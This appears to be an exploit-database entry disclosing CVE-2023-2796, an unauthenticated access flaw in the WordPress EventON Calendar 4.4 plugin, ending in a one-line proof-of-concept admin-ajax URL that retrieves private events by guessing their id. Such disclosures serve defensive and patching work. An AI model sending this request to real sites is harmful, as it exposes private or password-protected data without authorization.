Wordpress plugin eventon calendar 4.4 unauthenticated event access Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-08-04 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin eventon calendar 4.4 unauthenticated event access is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Event Access
# Date: 03.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.myeventon.com/
# Version: 4.4
# Tested on: Google and Firefox latest version
# CVE : CVE-2023-2796

# 1. Description
The plugin lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=value